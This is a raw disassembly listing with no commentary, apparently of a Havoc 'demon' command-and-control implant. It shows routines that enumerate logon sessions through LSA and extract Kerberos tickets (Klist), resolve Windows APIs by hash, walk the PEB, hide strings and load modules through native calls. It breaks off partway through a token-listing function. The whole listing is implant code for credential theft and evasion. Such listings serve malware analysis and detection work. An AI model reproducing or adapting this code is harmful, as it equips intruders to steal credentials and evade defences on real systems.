File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
    140016fd0
    140016fd0Klist:
    140016fd0push rbp
    140016fd1xor r11l, r11l
    140016fd4xor r9l, r9l
    140016fd7xor r10l, r10l
    140016fdamov rbp, rsp
    140016fddpush r15
    140016fdfpush r14
    140016fe1xor r14l, r14l
    140016fe4push r13
    140016fe6xor r13l, r13l
    140016fe9push r12
    140016febxor r12l, r12l
    140016feepush rdi
    140016fefmov rdi, rdx
    140016ff2push rsi
    140016ff3xor esi, esi
    140016ff5push rbx
    140016ff6mov rbx, rcx
    140016ff9mov ecx, 114
    140016ffeand rsp, -16
    140017002sub rsp, 192
    140017009mov [rsp+128], r9
    140017011mov [rsp+116], r10l
    140017016mov [rsp+184], r11
    14001701emov [rsp+136], r11
    140017026mov [rsp+164], r11
    14001702emov [rsp+176], 0x90008
    140017039mov [rsp+172], esi
    140017040mov [rsp+144], r12
    140017048mov [rsp+120], r13l
    14001704dmov [rsp+124], r13l
    140017052mov [rsp+155], r14
    14001705amov [rsp+163], 0
    140017062call HideChar
    140017067mov ecx, 107
    14001706cmov [rsp+160], al
    140017073call HideChar
    140017078xor ecx, ecx
    14001707amov [rsp+155], al
    140017081call HideChar
    140017086mov ecx, 101
    14001708bmov [rsp+163], al
    140017092call HideChar
    140017097mov ecx, 114
    14001709cmov [rsp+156], al
    1400170a3call HideChar
    1400170a8mov ecx, 115
    1400170admov [rsp+157], al
    1400170b4call HideChar
    1400170b9mov ecx, 98
    1400170bemov [rsp+162], al
    1400170c5call HideChar
    1400170camov ecx, 111
    1400170cfmov [rsp+158], al
    1400170d6call HideChar
    1400170dbmov ecx, 101
    1400170e0mov [rsp+161], al
    1400170e7call HideChar
    1400170ecmov [rsp+159], al
    1400170f3lea rax, [rsp+155]
    1400170fbmov [rsp+80], rax
    140017100mov [rsp+184], rax
    140017108test rbx, rbx
    14001710bje 0x14001713b
    14001710dmov rcx, rbx
    140017110call IsHighIntegrity
    140017115mov edx, eax
    140017117test eax, eax
    140017119jne 0x140017145
    14001711blea r9, [rip+0x1128e]
    140017122mov r8l, 623
    140017128lea rdx, [rip+0x154d1]
    14001712flea rcx, [rip+0x111d1]
    140017136call printf
    14001713b
    14001713bloc_14001713b:
    14001713bxor r12l, r12l
    14001713exor esi, esi
    140017140jmp 0x140017465
    140017145
    140017145loc_140017145:
    140017145lea r8, [rsp+128]
    14001714dmov rcx, rbx
    140017150call GetLsaHandle
    140017155mov r9l, eax
    140017158test eax, eax
    14001715ajs 0x14001716e
    14001715cmov rax, [rsp+128]
    140017164mov [rsp+88], rax
    140017169test rax, rax
    14001716cjne 0x140017184
    14001716e
    14001716eloc_14001716e:
    14001716emov r8l, 630
    140017174lea rdx, [rip+0x15485]
    14001717blea rcx, [rip+0x11249]
    140017182jmp 0x140017200
    140017184
    140017184loc_140017184:
    140017184mov rsi, [rip+0x151e5]
    14001718bmov rcx, [rsp+88]
    140017190lea r8, [rsp+116]
    140017195lea rdx, [rsp+176]
    14001719dcall [rsi+1988]
    1400171a3mov ecx, eax
    1400171a5test eax, eax
    1400171a7jns 0x1400171c8
    1400171a9call [rsi+1452]
    1400171afmov r8l, 637
    1400171b5lea rdx, [rip+0x15444]
    1400171bclea rcx, [rip+0x11269]
    1400171c3mov r9l, eax
    1400171c6jmp 0x140017200
    1400171c8
    1400171c8loc_1400171c8:
    1400171c8lea rdx, [rsp+136]
    1400171d0mov rcx, rdi
    1400171d3call GetLogonSessionData
    1400171d8mov r9l, eax
    1400171dbtest eax, eax
    1400171ddjs 0x1400171ec
    1400171dfmov rdi, [rsp+136]
    1400171e7test rdi, rdi
    1400171eajne 0x14001720a
    1400171ec
    1400171ecloc_1400171ec:
    1400171ecmov r8l, 644
    1400171f2lea rdx, [rip+0x15407]
    1400171f9lea rcx, [rip+0x11264]
    140017200
    140017200loc_140017200:
    140017200call printf
    140017205jmp 0x14001713b
    14001720a
    14001720aloc_14001720a:
    14001720alea rax, [rsp+96]
    14001720fxor r13l, r13l
    140017212xor r12l, r12l
    140017215mov [rsp+164], 14
    140017220mov [rsp+72], rax
    140017225
    140017225loc_140017225:
    140017225cmp r13l, [rdi+8]
    140017229jae 0x140017460
    14001722fmov rax, [rdi]
    140017232lea r14, [8*r13]
    14001723acmp [rax+8*r13], 0
    14001723fje 0x140017458
    140017245mov edx, 7216
    14001724amov ecx, 64
    14001724fcall [rsi+932]
    140017255mov rbx, rax
    140017258test rax, rax
    14001725bje 0x140017458
    140017261mov rax, [rdi]
    140017264mov rcx, rbx
    140017267mov rdx, [rax+r14]
    14001726bcall CopySessionInfo
    140017270test r12, r12
    140017273jne 0x140017284
    140017275xor r8l, r8l
    140017278mov r12, rbx
    14001727bmov [rbx+7208], r8
    140017282jmp 0x14001729d
    140017284
    140017284loc_140017284:
    140017284mov rax, r12
    140017287
    140017287loc_140017287:
    140017287mov rdx, rax
    14001728amov rax, [rax+7208]
    140017291test rax, rax
    140017294jne 0x140017287
    140017296mov [rdx+7208], rbx
    14001729d
    14001729dloc_14001729d:
    14001729dmov rax, [rdi]
    1400172a0mov rcx, [rax+r14]
    1400172a4mov rax, [rcx+4]
    1400172a8mov [rsp+168], rax
    1400172b0call [rsi+2012]
    1400172b6lea rax, [rsp+124]
    1400172bbxor ecx, ecx
    1400172bdmov edx, [rsp+116]
    1400172c1mov [rsp+48], rax
    1400172c6lea rax, [rsp+120]
    1400172cbmov r9l, 12
    1400172d1lea r8, [rsp+164]
    1400172d9mov [rsp+40], rax
    1400172delea rax, [rsp+144]
    1400172e6mov [rsp+144], rcx
    1400172eemov rcx, [rsp+88]
    1400172f3mov [rsp+32], rax
    1400172f8call [rsi+1956]
    1400172femov ecx, eax
    140017300test eax, eax
    140017302jns 0x140017323
    140017304call [rsi+1452]
    14001730amov r8l, 686
    140017310lea rdx, [rip+0x152e9]
    140017317lea rcx, [rip+0x11173]
    14001731emov r9l, eax
    140017321jmp 0x14001734e
    140017323
    140017323loc_140017323:
    140017323mov r9l, [rsp+124]
    140017328cmp r9l, 0xffffffffc000005f
    14001732fje 0x140017458
    140017335test r9l, r9l
    140017338jns 0x140017358
    14001733amov r8l, 695
    140017340lea rdx, [rip+0x152b9]
    140017347lea rcx, [rip+0x11179]
    14001734e
    14001734eloc_14001734e:
    14001734ecall printf
    140017353jmp 0x140017458
    140017358
    140017358loc_140017358:
    140017358cmp [rsp+144], 0
    140017361je 0x140017458
    140017367mov r15l, 8
    14001736dxor r14l, r14l
    140017370
    140017370loc_140017370:
    140017370mov rcx, [rsp+144]
    140017378cmp r14l, [rcx+4]
    14001737cjae 0x140017448
    140017382mov edx, 4152
    140017387mov ecx, 64
    14001738ccall [rsi+932]
    140017392test rax, rax
    140017395je 0x14001743c
    14001739bmov rdx, [rsp+144]
    1400173a3mov rcx, rax
    1400173a6mov [rsp+64], rax
    1400173abadd rdx, r15
    1400173aecall CopyTicketInfo
    1400173b3mov rax, [rsp+64]
    1400173b8movsxd rdx, r14l
    1400173bbmov r9, [rsp+72]
    1400173c0imul rdx, rdx, 96
    1400173c4add rdx, [rsp+144]
    1400173ccmov rcx, [rsp+88]
    1400173d1movups x0, [rdx+40]
    1400173d5lea rdx, [rax+4136]
    1400173dcmov r8, [rsp+168]
    1400173e4mov [rsp+40], rdx
    1400173e9lea rdx, [rax+4128]
    1400173f0mov [rsp+32], rdx
    1400173f5mov edx, [rsp+116]
    1400173f9movups [rsp+96], x0
    1400173fecall ExtractTicket
    140017403mov rdx, [rbx+7200]
    14001740amov rax, [rsp+64]
    14001740ftest rdx, rdx
    140017412jne 0x14001741d
    140017414mov [rbx+7200], rax
    14001741bjmp 0x140017433
    14001741d
    14001741dloc_14001741d:
    14001741dmov rcx, rdx
    140017420mov rdx, [rdx+4144]
    140017427test rdx, rdx
    14001742ajne 0x14001741d
    14001742cmov [rcx+4144], rax
    140017433
    140017433loc_140017433:
    140017433xor edx, edx
    140017435mov [rax+4144], rdx
    14001743c
    14001743cloc_14001743c:
    14001743cinc r14l
    14001743fadd r15, 96
    140017443jmp 0x140017370
    140017448
    140017448loc_140017448:
    140017448call [rsi+2012]
    14001744exor eax, eax
    140017450mov [rsp+144], rax
    140017458
    140017458loc_140017458:
    140017458inc r13
    14001745bjmp 0x140017225
    140017460
    140017460loc_140017460:
    140017460mov esi, 1
    140017465
    140017465loc_140017465:
    140017465mov rbx, [rsp+136]
    14001746dtest rbx, rbx
    140017470je 0x140017490
    140017472mov rcx, [rbx]
    140017475mov rdi, [rip+0x14ef4]
    14001747ctest rcx, rcx
    14001747fje 0x140017487
    140017481call [rdi+940]
    140017487
    140017487loc_140017487:
    140017487mov rcx, rbx
    14001748acall [rdi+940]
    140017490
    140017490loc_140017490:
    140017490mov rcx, [rsp+128]
    140017498test rcx, rcx
    14001749bje 0x1400174aa
    14001749dmov rax, [rip+0x14ecc]
    1400174a4call [rax+1996]
    1400174aa
    1400174aaloc_1400174aa:
    1400174aamov rdi, [rsp+80]
    1400174afmov ecx, 9
    1400174b4xor eax, eax
    1400174b6rep stosb [rdi], al
    1400174b8test r12, r12
    1400174bbje 0x1400174c1
    1400174bdtest esi, esi
    1400174bfjne 0x1400174c4
    1400174c1
    1400174c1loc_1400174c1:
    1400174c1xor r12l, r12l
    1400174c4
    1400174c4loc_1400174c4:
    1400174c4lea rsp, [rbp-56]
    1400174c8mov rax, r12
    1400174cbpop rbx
    1400174ccpop rsi
    1400174cdpop rdi
    1400174cepop r12
    1400174d0pop r13
    1400174d2pop r14
    1400174d4pop r15
    1400174d6pop rbp
    1400174d7ret
    140016fd0
    1400174d8
    1400174d8 // align 0x10
    1400174e0
    1400174e0LdrFreeLibrary:
    1400174e0mov rax, [rip+0x14e89]
    1400174e7jmp [rax+892]
    1400174e0
    1400174ed
    1400174ed // align 0x10
    1400174f0
    1400174f0LdrFunctionAddr:
    1400174f0push r15
    1400174f2xor eax, eax
    1400174f4push r14
    1400174f6push r13
    1400174f8push r12
    1400174fapush rbp
    1400174fbpush rdi
    1400174fcpush rsi
    1400174fdpush rbx
    1400174fesub rsp, 88
    140017502mov [rsp+56], rax
    140017507mov [rsp+64], rax
    14001750cmov [rsp+72], rax
    140017511test rcx, rcx
    140017514je 0x14001762a
    14001751amov r9l, edx
    14001751dtest edx, edx
    14001751fje 0x14001762a
    140017525movsxd rax, [rcx+60]
    140017529mov rbx, rcx
    14001752cxor esi, esi
    14001752eadd rax, rcx
    140017531mov ebp, [rax+136]
    140017537mov eax, [rax+140]
    14001753dadd rbp, rcx
    140017540mov [rsp+44], eax
    140017544mov r15l, [rbp+32]
    140017548mov r13l, [rbp+28]
    14001754cmov r14l, [rbp+36]
    140017550mov r12l, [rbp+24]
    140017554add r15, rcx
    140017557
    140017557loc_140017557:
    140017557cmp esi, r12l
    14001755ajae 0x140017611
    140017560mov edi, [r15+4*rsi]
    140017564xor edx, edx
    140017566mov r8l, 1
    14001756cmov [rsp+168], r9l
    140017574add rdi, rbx
    140017577mov rcx, rdi
    14001757acall HashEx
    14001757fmov r9l, [rsp+168]
    140017587mov edx, eax
    140017589lea rax, [rsi+1]
    14001758dcmp edx, r9l
    140017590jne 0x140017609
    140017592add rsi, rsi
    140017595add rsi, rbx
    140017598movzx eax, [rsi+r14]
    14001759dlea rax, [rbx+4*rax]
    1400175a1mov edx, [rax+r13]
    1400175a5add rdx, rbx
    1400175a8mov [rsp+56], rdx
    1400175adcmp rdx, rbp
    1400175b0jae 0x1400175b9
    1400175b2
    1400175b2loc_1400175b2:
    1400175b2mov rax, [rsp+56]
    1400175b7jmp 0x14001762c
    1400175b9
    1400175b9loc_1400175b9:
    1400175b9mov eax, [rsp+44]
    1400175bdadd rax, rbx
    1400175c0add rax, rbp
    1400175c3cmp rdx, rax
    1400175c6jae 0x1400175b2
    1400175c8call StringLengthA
    1400175cdmov [rsp+72], rdi
    1400175d2mov [rsp+64], ax
    1400175d7inc eax
    1400175d9mov [rsp+66], ax
    1400175demov rax, [rip+0x14d8b]
    1400175e5mov rax, [rax+308]
    1400175ectest rax, rax
    1400175efje 0x14001762a
    1400175f1xor r8l, r8l
    1400175f4lea rdx, [rsp+64]
    1400175f9lea r9, [rsp+56]
    1400175femov rcx, rbx
    140017601call rax
    140017603test eax, eax
    140017605jns 0x1400175b2
    140017607jmp 0x14001762a
    140017609
    140017609loc_140017609:
    140017609mov rsi, rax
    14001760cjmp 0x140017557
    140017611
    140017611loc_140017611:
    140017611mov r8l, 430
    140017617lea rdx, [rip+0x154a2]
    14001761elea rcx, [rip+0x12bcb]
    140017625call printf
    14001762a
    14001762aloc_14001762a:
    14001762axor eax, eax
    14001762c
    14001762cloc_14001762c:
    14001762cadd rsp, 88
    140017630pop rbx
    140017631pop rsi
    140017632pop rdi
    140017633pop rbp
    140017634pop r12
    140017636pop r13
    140017638pop r14
    14001763apop r15
    14001763cret
    1400174f0
    14001763d
    14001763d // align 0x10
    140017640
    140017640LdrFunctionAddrString:
    140017640push rsi
    140017641mov r8l, 1
    140017647mov rsi, rcx
    14001764apush rbx
    14001764bmov rbx, rdx
    14001764exor edx, edx
    140017650mov rcx, rbx
    140017653sub rsp, 56
    140017657call HashEx
    14001765cmov [rsp+32], rbx
    140017661mov r9, rsi
    140017664mov r8l, 28
    14001766amov [rsp+40], eax
    14001766elea rdx, [rip+0x159fb]
    140017675lea rcx, [rip+0x13fcc]
    14001767ccall printf
    140017681mov rcx, rbx
    140017684xor edx, edx
    140017686mov r8l, 1
    14001768ccall HashEx
    140017691add rsp, 56
    140017695mov rcx, rsi
    140017698pop rbx
    140017699mov edx, eax
    14001769bpop rsi
    14001769cjmp 0x1400174f0
    140017640
    1400176a1
    1400176a1 // align 0x10
    1400176b0
    1400176b0LdrLocalFree:
    1400176b0mov rax, [rip+0x14cb9]
    1400176b7jmp [rax+940]
    1400176b0
    1400176bd
    1400176bd // align 0x10
    1400176c0
    1400176c0LdrModuleLoad:
    1400176c0push r13
    1400176c2xor r11l, r11l
    1400176c5xor eax, eax
    1400176c7push r12
    1400176c9push rbp
    1400176camov rbp, rcx
    1400176cdmov ecx, 130
    1400176d2push rdi
    1400176d3push rsi
    1400176d4push rbx
    1400176d5xor ebx, ebx
    1400176d7sub rsp, 648
    1400176delea rdi, [rsp+120]
    1400176e3mov [rsp+104], r11
    1400176e8rep stosd [rdi], eax
    1400176eamov [rsp+112], r11
    1400176efxor eax, eax
    1400176f1mov [rsp+72], rbx
    1400176f6mov [rsp+80], rbx
    1400176fbmov [rsp+88], rbx
    140017700mov [rsp+96], rbx
    140017705test rbp, rbp
    140017708je 0x140017a46
    14001770emov rcx, rbp
    140017711lea rdi, [rsp+120]
    140017716call StringLengthA
    14001771bmov rdx, rbp
    14001771emov rcx, rdi
    140017721mov r8, rax
    140017724call CharStringToWCharString
    140017729mov rcx, rdi
    14001772ccall StringLengthW
    140017731mov rcx, rdi
    140017734mov r12, rax
    140017737call LdrModuleSearch
    14001773cmov [rsp+72], rax
    140017741test rax, rax
    140017744jne 0x140017a46
    14001774amov rbx, [rip+0x14c1f]
    140017751lea rsi, [rip+0x153b8]
    140017758mov al, [rbx+222]
    14001775etest al, al
    140017760je 0x140017968
    140017766cmp al, 1
    140017768jne 0x14001780e
    14001776ecmp [rbx+388], 0
    140017776je 0x140017968
    14001777clea r9, [rip+0x12fda]
    140017783mov r8l, 252
    140017789mov rdx, rsi
    14001778clea rcx, [rip+0x12bda]
    140017793call printf
    140017798xor r10l, r10l
    14001779bxor r8l, r8l
    14001779elea rcx, [rsp+80]
    1400177a3mov [rsp+32], r10l
    1400177a8mov r9l, 1
    1400177aemov edx, 0x1f0003
    1400177b3call SysNtCreateEvent
    1400177b8test eax, eax
    1400177bajs 0x140017968
    1400177c0xor r9l, r9l
    1400177c3mov rdx, [rsp+80]
    1400177c8lea rcx, [rsp+96]
    1400177cdmov r8, [rbx+756]
    1400177d4mov [rsp+32], r9l
    1400177d9mov r9, rdi
    1400177dcmov [rsp+40], 12
    1400177e4call [rbx+388]
    1400177eamov r9l, eax
    1400177edtest eax, eax
    1400177efjs 0x1400177fc
    1400177f1
    1400177f1loc_1400177f1:
    1400177f1mov r13l, 5
    1400177f7jmp 0x140017929
    1400177fc
    1400177fcloc_1400177fc:
    1400177fcmov r8l, 261
    140017802mov rdx, rsi
    140017805lea rcx, [rip+0x12f76]
    14001780cjmp 0x140017862
    14001780e
    14001780eloc_14001780e:
    14001780ecmp al, 2
    140017810jne 0x1400178b5
    140017816cmp [rbx+380], 0
    14001781eje 0x140017968
    140017824lea r9, [rip+0x12f7c]
    14001782bmov r8l, 269
    140017831mov rdx, rsi
    140017834lea rcx, [rip+0x12b32]
    14001783bcall printf
    140017840lea rcx, [rsp+88]
    140017845call [rbx+404]
    14001784bmov r9l, eax
    14001784etest eax, eax
    140017850jns 0x14001786c
    140017852mov r8l, 273
    140017858mov rdx, rsi
    14001785blea rcx, [rip+0x12f69]
    140017862
    140017862loc_140017862:
    140017862call printf
    140017867jmp 0x140017968
    14001786c
    14001786cloc_14001786c:
    14001786cxor ecx, ecx
    14001786emov r8, [rbx+756]
    140017875mov r9, rdi
    140017878mov [rsp+48], 32
    140017880mov [rsp+40], ecx
    140017884lea rdx, [rsp+96]
    140017889mov [rsp+32], ecx
    14001788dmov rcx, [rsp+88]
    140017892call [rbx+380]
    140017898mov r9l, eax
    14001789btest eax, eax
    14001789djns 0x1400177f1
    1400178a3mov r8l, 279
    1400178a9mov rdx, rsi
    1400178aclea rcx, [rip+0x12f4a]
    1400178b3jmp 0x140017862
    1400178b5
    1400178b5loc_1400178b5:
    1400178b5cmp al, 3
    1400178b7jne 0x140017968
    1400178bdcmp [rbx+396], 0
    1400178c5je 0x140017968
    1400178cblea r9, [rip+0x12f4f]
    1400178d2mov r8l, 286
    1400178d8mov rdx, rsi
    1400178dblea rcx, [rip+0x12a8b]
    1400178e2call printf
    1400178e7mov rcx, [rbx+756]
    1400178eexor r8l, r8l
    1400178f1mov rdx, rdi
    1400178f4call [rbx+396]
    1400178famov r9l, eax
    1400178fdtest eax, eax
    1400178ffjns 0x1400177f1
    140017905mov r8l, 290
    14001790bmov rdx, rsi
    14001790elea rcx, [rip+0x12f32]
    140017915jmp 0x140017862
    14001791a
    14001791aloc_14001791a:
    14001791amov ecx, 100
    14001791fcall SharedSleep
    140017924dec r13l
    140017927je 0x140017940
    140017929
    140017929loc_140017929:
    140017929mov rcx, rdi
    14001792ccall LdrModulePebByString
    140017931mov [rsp+72], rax
    140017936test rax, rax
    140017939je 0x14001791a
    14001793bjmp 0x1400179e4
    140017940
    140017940loc_140017940:
    140017940cmp [rsp+72], 0
    140017946jne 0x1400179e4
    14001794clea r9, [rip+0x12f21]
    140017953mov r8l, 325
    140017959mov rdx, rsi
    14001795clea rcx, [rip+0x12a0a]
    140017963call printf
    140017968
    140017968loc_140017968:
    140017968cmp [rbx+300], 0
    140017970je 0x1400179e4
    140017972add r12l, r12l
    140017975lea r9, [rip+0x12f2a]
    14001797cmov r8l, 335
    140017982mov rdx, rsi
    140017985lea rcx, [rip+0x129e1]
    14001798ccall printf
    140017991mov [rsp+104], r12w
    140017997xor edx, edx
    140017999xor ecx, ecx
    14001799badd r12l, 2
    14001799fmov [rsp+112], rdi
    1400179a4lea r9, [rsp+72]
    1400179a9lea r8, [rsp+104]
    1400179aemov [rsp+106], r12w
    1400179b4call [rbx+300]
    1400179bamov r12l, eax
    1400179bdtest eax, eax
    1400179bfjns 0x1400179e4
    1400179c1mov r9l, eax
    1400179c4mov r8l, 343
    1400179camov rdx, rsi
    1400179cdlea rcx, [rip+0x12ef2]
    1400179d4call printf
    1400179d9mov rax, [rbx+2230]
    1400179e0mov [rax+104], r12l
    1400179e4
    1400179e4loc_1400179e4:
    1400179e4xor eax, eax
    1400179e6mov ecx, 520
    1400179ebrep stosb [rdi], al
    1400179edmov ecx, 16
    1400179f2lea rdi, [rsp+104]
    1400179f7rep stosb [rdi], al
    1400179f9mov rax, [rsp+72]
    1400179felea rcx, [rip+0x12ee8]
    140017a05mov r9, rbp
    140017a08mov rdx, rsi
    140017a0bmov r8l, 354
    140017a11mov [rsp+32], rax
    140017a16call printf
    140017a1bmov rcx, [rsp+80]
    140017a20test rcx, rcx
    140017a23je 0x140017a31
    140017a25call SysNtClose
    140017a2axor eax, eax
    140017a2cmov [rsp+80], rax
    140017a31
    140017a31loc_140017a31:
    140017a31mov rcx, [rsp+88]
    140017a36test rcx, rcx
    140017a39je 0x140017a41
    140017a3bcall [rbx+412]
    140017a41
    140017a41loc_140017a41:
    140017a41mov rax, [rsp+72]
    140017a46
    140017a46loc_140017a46:
    140017a46add rsp, 648
    140017a4dpop rbx
    140017a4epop rsi
    140017a4fpop rdi
    140017a50pop rbp
    140017a51pop r12
    140017a53pop r13
    140017a55ret
    1400176c0
    140017a56
    140017a56 // align 0x10
    140017a60
    140017a60LdrModulePeb:
    140017a60push rdi
    140017a61push rsi
    140017a62mov esi, ecx
    140017a64push rbx
    140017a65sub rsp, 32
    140017a69mov rax, [rip+0x14900]
    140017a70cmp [rax+2230], 0
    140017a78jne 0x140017a8a
    140017a7amov rdx, [0x30]
    140017a83mov [rax+2230], rdx
    140017a8a
    140017a8aloc_140017a8a:
    140017a8amov rax, [rax+2230]
    140017a91mov rax, [rax+96]
    140017a95mov rax, [rax+24]
    140017a99mov rbx, [rax+16]
    140017a9dlea rdi, [rax+16]
    140017aa1
    140017aa1loc_140017aa1:
    140017aa1cmp rbx, rdi
    140017aa4je 0x140017acc
    140017aa6movzx edx, [rbx+88]
    140017aaamov rcx, [rbx+96]
    140017aaemov r8l, 1
    140017ab4call HashEx
    140017ab9test esi, esi
    140017abbje 0x140017ac1
    140017abdcmp eax, esi
    140017abfjne 0x140017ac7
    140017ac1
    140017ac1loc_140017ac1:
    140017ac1mov rax, [rbx+48]
    140017ac5jmp 0x140017ace
    140017ac7
    140017ac7loc_140017ac7:
    140017ac7mov rbx, [rbx]
    140017acajmp 0x140017aa1
    140017acc
    140017accloc_140017acc:
    140017accxor eax, eax
    140017ace
    140017aceloc_140017ace:
    140017aceadd rsp, 32
    140017ad2pop rbx
    140017ad3pop rsi
    140017ad4pop rdi
    140017ad5ret
    140017a60
    140017ad6
    140017ad6 // align 0x10
    140017ae0
    140017ae0LdrModulePebByString:
    140017ae0push r14
    140017ae2push r13
    140017ae4push r12
    140017ae6mov r12, rcx
    140017ae9push rbp
    140017aeapush rdi
    140017aebpush rsi
    140017aecpush rbx
    140017aedsub rsp, 48
    140017af1mov rbx, [rip+0x14878]
    140017af8cmp [rbx+2230], 0
    140017b00jne 0x140017b12
    140017b02mov rax, [0x30]
    140017b0bmov [rbx+2230], rax
    140017b12
    140017b12loc_140017b12:
    140017b12mov rax, [rbx+2230]
    140017b19mov r8l, 260
    140017b1fmov edx, 8
    140017b24mov r13l, 260
    140017b2amov rax, [rax+96]
    140017b2emov rcx, [rax+48]
    140017b32call [rbx+316]
    140017b38mov r8, rax
    140017b3bmov rax, [rbx+2230]
    140017b42mov rax, [rax+96]
    140017b46mov rax, [rax+24]
    140017b4amov rbp, [rax+16]
    140017b4elea r14, [rax+16]
    140017b52
    140017b52loc_140017b52:
    140017b52cmp rbp, r14
    140017b55je 0x140017bc2
    140017b57movzx ecx, [rbp+88]
    140017b5bcmp cx, 260
    140017b60ja 0x140017bbc
    140017b62mov rsi, [rbp+96]
    140017b66mov rdi, r8
    140017b69xor eax, eax
    140017b6brep movsb [rdi], [rsi]
    140017b6d
    140017b6dloc_140017b6d:
    140017b6dmovzx edx, [rbp+88]
    140017b71cmp eax, edx
    140017b73jae 0x140017b8d
    140017b75mov dx, [r8+2*rax]
    140017b7acmp dx, 96
    140017b7ejbe 0x140017b88
    140017b80sub edx, 32
    140017b83mov [r8+2*rax], dx
    140017b88
    140017b88loc_140017b88:
    140017b88inc rax
    140017b8bjmp 0x140017b6d
    140017b8d
    140017b8dloc_140017b8d:
    140017b8dmov rdx, r12
    140017b90mov rcx, r8
    140017b93mov [rsp+40], r8
    140017b98call StringCompareW
    140017b9dtest r12, r12
    140017ba0je 0x140017bae
    140017ba2test eax, eax
    140017ba4mov r8, [rsp+40]
    140017ba9sete al
    140017bacjne 0x140017bb4
    140017bae
    140017baeloc_140017bae:
    140017baemov rax, [rbp+48]
    140017bb2jmp 0x140017bf0
    140017bb4
    140017bb4loc_140017bb4:
    140017bb4mov rdi, r8
    140017bb7mov rcx, r13
    140017bbarep stosb [rdi], al
    140017bbc
    140017bbcloc_140017bbc:
    140017bbcmov rbp, [rbp]
    140017bc0jmp 0x140017b52
    140017bc2
    140017bc2loc_140017bc2:
    140017bc2test r8, r8
    140017bc5jne 0x140017bcb
    140017bc7
    140017bc7loc_140017bc7:
    140017bc7xor eax, eax
    140017bc9jmp 0x140017bf0
    140017bcb
    140017bcbloc_140017bcb:
    140017bcbmov rdi, r8
    140017bcemov ecx, 260
    140017bd3xor eax, eax
    140017bd5rep stosb [rdi], al
    140017bd7mov rax, [rbx+2230]
    140017bdexor edx, edx
    140017be0mov rax, [rax+96]
    140017be4mov rcx, [rax+48]
    140017be8call [rbx+332]
    140017beejmp 0x140017bc7
    140017bf0
    140017bf0loc_140017bf0:
    140017bf0add rsp, 48
    140017bf4pop rbx
    140017bf5pop rsi
    140017bf6pop rdi
    140017bf7pop rbp
    140017bf8pop r12
    140017bfapop r13
    140017bfcpop r14
    140017bferet
    140017ae0
    140017bff
    140017bff // align 0x10
    140017c00
    140017c00LdrModulePebString:
    140017c00push rbx
    140017c01mov r8l, 1
    140017c07xor edx, edx
    140017c09mov rbx, rcx
    140017c0csub rsp, 48
    140017c10call HashEx
    140017c15mov r9, rbx
    140017c18lea rcx, [rip+0x13a01]
    140017c1fmov r8l, 22
    140017c25mov [rsp+32], eax
    140017c29lea rdx, [rip+0x155a0]
    140017c30call printf
    140017c35mov rax, [rip+0x14734]
    140017c3cmov rcx, rbx
    140017c3fmov rax, [rax+1124]
    140017c46add rsp, 48
    140017c4apop rbx
    140017c4bjmp rax
    140017c00
    140017c4d
    140017c4d // align 0x10
    140017c50
    140017c50LdrModuleSearch:
    140017c50push r12
    140017c52xor eax, eax
    140017c54mov r12, rcx
    140017c57mov ecx, 130
    140017c5cpush rbp
    140017c5dpush rdi
    140017c5epush rsi
    140017c5fpush rbx
    140017c60sub rsp, 576
    140017c67lea rdi, [rsp+56]
    140017c6cmov [rsp+54], 0
    140017c73lea rbx, [rsp+56]
    140017c78rep stosd [rdi], eax
    140017c7axor eax, eax
    140017c7cmov ecx, 76
    140017c81lea rdi, [rsp+46]
    140017c86mov [rsp+46], rax
    140017c8bcall HideChar
    140017c90mov ecx, 68
    140017c95movzx eax, al
    140017c98mov [rsp+52], ax
    140017c9dcall HideChar
    140017ca2xor ecx, ecx
    140017ca4movzx eax, al
    140017ca7mov [rsp+48], ax
    140017caccall HideChar
    140017cb1mov ecx, 76
    140017cb6movzx eax, al
    140017cb9mov [rsp+54], ax
    140017cbecall HideChar
    140017cc3mov ecx, 46
    140017cc8movzx eax, al
    140017ccbmov [rsp+50], ax
    140017cd0call HideChar
    140017cd5mov rdx, r12
    140017cd8mov rcx, rbx
    140017cdbmovzx eax, al
    140017cdemov [rsp+46], ax
    140017ce3mov rax, [rip+0x14686]
    140017ceamov rax, [rax+2230]
    140017cf1mov rax, [rax+96]
    140017cf5mov rbp, [rax+24]
    140017cf9mov rsi, [rbp+16]
    140017cfdadd rbp, 16
    140017d01call StringCopyW
    140017d06mov rdx, rdi
    140017d09mov rcx, r12
    140017d0ccall EndsWithIW
    140017d11test eax, eax
    140017d13jne 0x140017d20
    140017d15mov rdx, rdi
    140017d18mov rcx, rbx
    140017d1bcall StringConcatW
    140017d20
    140017d20loc_140017d20:
    140017d20mov ecx, 10
    140017d25xor eax, eax
    140017d27rep stosb [rdi], al
    140017d29
    140017d29loc_140017d29:
    140017d29mov rdx, [rsi+96]
    140017d2dmov rcx, rbx
    140017d30call StringCompareIW
    140017d35test eax, eax
    140017d37jne 0x140017d49
    140017d39mov rdi, rbx
    140017d3cmov ecx, 520
    140017d41rep stosb [rdi], al
    140017d43mov rax, [rsi+48]
    140017d47jmp 0x140017d5f
    140017d49
    140017d49loc_140017d49:
    140017d49mov rsi, [rsi]
    140017d4ccmp rbp, rsi
    140017d4fjne 0x140017d29
    140017d51mov rdi, rbx
    140017d54mov ecx, 520
    140017d59xor eax, eax
    140017d5brep stosb [rdi], al
    140017d5dxor eax, eax
    140017d5f
    140017d5floc_140017d5f:
    140017d5fadd rsp, 576
    140017d66pop rbx
    140017d67pop rsi
    140017d68pop rdi
    140017d69pop rbp
    140017d6apop r12
    140017d6cret
    140017c50
    140017d6d
    140017d6d // align 0x10
    140017d70
    140017d70ListTokens:
    140017d70push r15
    140017d72xor r11l, r11l
    140017d75push r14
    140017d77push r13
    140017d79push r12
    140017d7bxor r12l, r12l
    140017d7epush rbp
    140017d7fxor ebp, ebp
    140017d81push rdi
    140017d82xor edi, edi
    140017d84push rsi
    140017d85xor esi, esi
    140017d87push rbx
    140017d88xor ebx, ebx
    140017d8asub rsp, 168
    140017d91mov [rsp+240], rcx
    140017d99mov [rsp+248], rdx
    140017da1mov [rsp+120], r11
    140017da6mov [rsp+108], ebx
    140017daamov [rsp+112], ebx
    140017daemov [rsp+128], rsi
    140017db6mov [rsp+116], edi
    140017dbamov [rsp+136], rbp
    140017dc2mov [rsp+144], rbp
    140017dcamov [rsp+152], rbp
    140017dd2call TokenCurrentHandle
    140017dd7mov [rsp+76], r12l
    140017ddctest rax, rax
    140017ddfje 0x140017e0b
    140017de1xor r8l, r8l
    140017de4mov rcx, rax
    140017de7lea rdx, [rsp+144]
